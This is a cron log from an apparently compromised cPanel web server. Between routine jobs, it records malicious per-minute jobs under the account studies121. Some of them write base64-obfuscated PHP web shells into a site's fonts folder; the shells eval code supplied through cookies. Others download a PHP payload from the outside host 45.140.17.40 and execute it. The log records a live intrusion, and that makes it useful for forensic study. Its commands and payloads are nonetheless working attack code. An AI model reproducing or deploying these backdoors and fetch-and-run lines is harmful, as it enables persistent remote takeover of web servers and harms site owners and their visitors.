Sep 20 07:15:01 ip-184-168-122-23 CROND[423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:15:01 ip-184-168-122-23 CROND[426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:15:01 ip-184-168-122-23 CROND[427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:15:01 ip-184-168-122-23 CROND[428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:15:01 ip-184-168-122-23 CROND[429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:16:01 ip-184-168-122-23 CROND[715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:16:01 ip-184-168-122-23 CROND[718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:16:01 ip-184-168-122-23 CROND[719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:16:01 ip-184-168-122-23 CROND[720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:16:01 ip-184-168-122-23 CROND[722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:16:01 ip-184-168-122-23 CROND[721]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 07:17:01 ip-184-168-122-23 CROND[1021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:17:01 ip-184-168-122-23 CROND[1023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:17:01 ip-184-168-122-23 CROND[1024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:17:01 ip-184-168-122-23 CROND[1025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:18:01 ip-184-168-122-23 CROND[1278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:18:01 ip-184-168-122-23 CROND[1280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:18:01 ip-184-168-122-23 CROND[1281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:18:01 ip-184-168-122-23 CROND[1283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:18:01 ip-184-168-122-23 CROND[1284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:19:01 ip-184-168-122-23 CROND[1619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:19:01 ip-184-168-122-23 CROND[1621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:19:01 ip-184-168-122-23 CROND[1622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:19:01 ip-184-168-122-23 CROND[1623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:20:01 ip-184-168-122-23 CROND[1852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1849]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 07:20:01 ip-184-168-122-23 CROND[1850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:20:01 ip-184-168-122-23 CROND[1854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:21:01 ip-184-168-122-23 CROND[2142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:21:01 ip-184-168-122-23 CROND[2143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:21:01 ip-184-168-122-23 CROND[2145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:21:01 ip-184-168-122-23 CROND[2144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:22:01 ip-184-168-122-23 CROND[2372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:22:01 ip-184-168-122-23 CROND[2374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:22:01 ip-184-168-122-23 CROND[2376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:22:01 ip-184-168-122-23 CROND[2377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:22:01 ip-184-168-122-23 CROND[2375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:23:01 ip-184-168-122-23 CROND[2628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:23:01 ip-184-168-122-23 CROND[2629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:23:01 ip-184-168-122-23 CROND[2633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:23:01 ip-184-168-122-23 CROND[2632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:24:02 ip-184-168-122-23 CROND[2863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:24:02 ip-184-168-122-23 CROND[2866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:24:02 ip-184-168-122-23 CROND[2867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:24:02 ip-184-168-122-23 CROND[2871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:24:02 ip-184-168-122-23 CROND[2872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:25:01 ip-184-168-122-23 CROND[3203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:25:01 ip-184-168-122-23 CROND[3205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:25:01 ip-184-168-122-23 CROND[3206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:25:01 ip-184-168-122-23 CROND[3207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:25:01 ip-184-168-122-23 CROND[3210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:25:01 ip-184-168-122-23 CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:26:01 ip-184-168-122-23 CROND[3460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:26:01 ip-184-168-122-23 CROND[3463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:26:01 ip-184-168-122-23 CROND[3462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:26:01 ip-184-168-122-23 CROND[3464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:26:01 ip-184-168-122-23 CROND[3465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:27:01 ip-184-168-122-23 CROND[3706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
